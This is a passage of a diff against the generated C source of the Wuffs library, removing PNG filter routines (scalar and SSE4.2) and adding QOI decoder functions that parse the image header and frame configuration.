WUFFS_BASE__DISABLED; ++ } ++ return status; + } + +-// -------- func png.decoder.filter_4_distance_4_fallback ++// -------- func qoi.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint32_t v_fa0 = 0; +- uint32_t v_fa1 = 0; +- uint32_t v_fa2 = 0; +- uint32_t v_fa3 = 0; +- uint32_t v_fb0 = 0; +- uint32_t v_fb1 = 0; +- uint32_t v_fb2 = 0; +- uint32_t v_fb3 = 0; +- uint32_t v_fc0 = 0; +- uint32_t v_fc1 = 0; +- uint32_t v_fc2 = 0; +- uint32_t v_fc3 = 0; +- uint32_t v_pp0 = 0; +- uint32_t v_pp1 = 0; +- uint32_t v_pp2 = 0; +- uint32_t v_pp3 = 0; +- uint32_t v_pa0 = 0; +- uint32_t v_pa1 = 0; +- uint32_t v_pa2 = 0; +- uint32_t v_pa3 = 0; +- uint32_t v_pb0 = 0; +- uint32_t v_pb1 = 0; +- uint32_t v_pb2 = 0; +- uint32_t v_pb3 = 0; +- uint32_t v_pc0 = 0; +- uint32_t v_pc1 = 0; +- uint32_t v_pc2 = 0; +- uint32_t v_pc3 = 0; ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_image_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end0_curr) { +- v_fb0 = ((uint32_t)(v_prev.ptr[0u])); +- v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); +- v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); +- if (v_pa0 >= 2147483648u) { +- v_pa0 = ((uint32_t)(0u - v_pa0)); +- } +- v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); +- if (v_pb0 >= 2147483648u) { +- v_pb0 = ((uint32_t)(0u - v_pb0)); +- } +- v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); +- if (v_pc0 >= 2147483648u) { +- v_pc0 = ((uint32_t)(0u - v_pc0)); +- } +- if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { +- } else if (v_pb0 <= v_pc0) { +- v_fa0 = v_fb0; +- } else { +- v_fa0 = v_fc0; +- } +- v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); +- v_fa0 = ((uint32_t)(v_curr.ptr[0u])); +- v_fc0 = v_fb0; +- v_fb1 = ((uint32_t)(v_prev.ptr[1u])); +- v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); +- v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); +- if (v_pa1 >= 2147483648u) { +- v_pa1 = ((uint32_t)(0u - v_pa1)); +- } +- v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); +- if (v_pb1 >= 2147483648u) { +- v_pb1 = ((uint32_t)(0u - v_pb1)); +- } +- v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); +- if (v_pc1 >= 2147483648u) { +- v_pc1 = ((uint32_t)(0u - v_pc1)); +- } +- if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { +- } else if (v_pb1 <= v_pc1) { +- v_fa1 = v_fb1; ++ uint32_t v_a = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- v_fa1 = v_fc1; +- } +- v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); +- v_fa1 = ((uint32_t)(v_curr.ptr[1u])); +- v_fc1 = v_fb1; +- v_fb2 = ((uint32_t)(v_prev.ptr[2u])); +- v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); +- v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); +- if (v_pa2 >= 2147483648u) { +- v_pa2 = ((uint32_t)(0u - v_pa2)); +- } +- v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); +- if (v_pb2 >= 2147483648u) { +- v_pb2 = ((uint32_t)(0u - v_pb2)); +- } +- v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); +- if (v_pc2 >= 2147483648u) { +- v_pc2 = ((uint32_t)(0u - v_pc2)); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } + } +- if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { +- } else if (v_pb2 <= v_pc2) { +- v_fa2 = v_fb2; ++ v_a = t_0; ++ } ++ if (v_a != 1718185841u) { ++ status = wuffs_base__make_status(wuffs_qoi__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- v_fa2 = v_fc2; +- } +- v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); +- v_fa2 = ((uint32_t)(v_curr.ptr[2u])); +- v_fc2 = v_fb2; +- v_fb3 = ((uint32_t)(v_prev.ptr[3u])); +- v_pp3 = ((uint32_t)(((uint32_t)(v_fa3 + v_fb3)) - v_fc3)); +- v_pa3 = ((uint32_t)(v_pp3 - v_fa3)); +- if (v_pa3 >= 2147483648u) { +- v_pa3 = ((uint32_t)(0u - v_pa3)); +- } +- v_pb3 = ((uint32_t)(v_pp3 - v_fb3)); +- if (v_pb3 >= 2147483648u) { +- v_pb3 = ((uint32_t)(0u - v_pb3)); +- } +- v_pc3 = ((uint32_t)(v_pp3 - v_fc3)); +- if (v_pc3 >= 2147483648u) { +- v_pc3 = ((uint32_t)(0u - v_pc3)); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); ++ } + } +- if ((v_pa3 <= v_pb3) && (v_pa3 <= v_pc3)) { +- } else if (v_pb3 <= v_pc3) { +- v_fa3 = v_fb3; ++ v_a = t_1; ++ } ++ if (v_a > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_width = v_a; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- v_fa3 = v_fc3; ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } + } +- v_curr.ptr[3u] = ((uint8_t)(v_curr.ptr[3u] + ((uint8_t)(v_fa3)))); +- v_fa3 = ((uint32_t)(v_curr.ptr[3u])); +- v_fc3 = v_fb3; +- v_curr.ptr += 4; +- v_prev.ptr += 4; ++ v_a = t_2; + } +- v_curr.len = 0; +- v_prev.len = 0; +- } +- return wuffs_base__make_empty_struct(); +-} ++ if (v_a > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_height = v_a; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_3 = *iop_a_src++; ++ v_a = t_3; ++ } ++ if (v_a == 3u) { ++ self->private_impl.f_pixfmt = 2415954056u; ++ } else if (v_a == 4u) { ++ self->private_impl.f_pixfmt = 2164295816u; ++ } else { ++ status = wuffs_base__make_status(wuffs_qoi__error__bad_header); ++ goto exit; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src++; ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ 14u, ++ (self->private_impl.f_pixfmt == 2415954056u)); ++ } ++ self->private_impl.f_call_sequence = 32u; + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func png.decoder.filter_1_distance_4_x86_sse42 ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- wuffs_base__slice_u8 v_curr = {0}; +- __m128i v_x128 = {0}; +- __m128i v_a128 = {0}; ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_a128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_a128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- } +- v_curr.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_a128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- } +- v_curr.len = 0; ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- return wuffs_base__make_empty_struct(); ++ ++ return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func png.decoder.filter_3_distance_4_x86_sse42 ++// -------- func qoi.decoder.decode_frame_config + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- __m128i v_x128 = {0}; +- __m128i v_a128 = {0}; +- __m128i v_b128 = {0}; +- __m128i v_p128 = {0}; +- __m128i v_k128 = {0}; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__decode_frame_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- if (((uint64_t)(a_prev.len)) == 0u) { +- v_k128 = _mm_set1_epi8((int8_t)(254u)); +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- } +- v_curr.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- } +- v_curr.len = 0; +- } +- } else { +- v_k128 = _mm_set1_epi8((int8_t)(1u)); +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_p128 = _mm_avg_epu8(v_a128, v_b128); +- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_p128 = _mm_avg_epu8(v_a128, v_b128); +- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; + } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_p128 = _mm_avg_epu8(v_a128, v_b128); +- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); ++ goto exit; + } +- v_curr.len = 0; +- v_prev.len = 0; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func png.decoder.filter_4_distance_3_x86_sse42 ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- __m128i v_x128 = {0}; +- __m128i v_a128 = {0}; +- __m128i v_b128 = {0}; +- __m128i v_c128 = {0}; +- __m128i v_p128 = {0}; +- __m128i v_pa128 = {0}; +- __m128i v_pb128 = {0}; +- __m128i v_pc128 = {0}; +- __m128i v_smallest128 = {0}; +- __m128i v_z128 = {0}; ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6); +- while (v_curr.ptr < i_end0_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3); +- while (v_curr.ptr < i_end1_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end2_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end2_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, 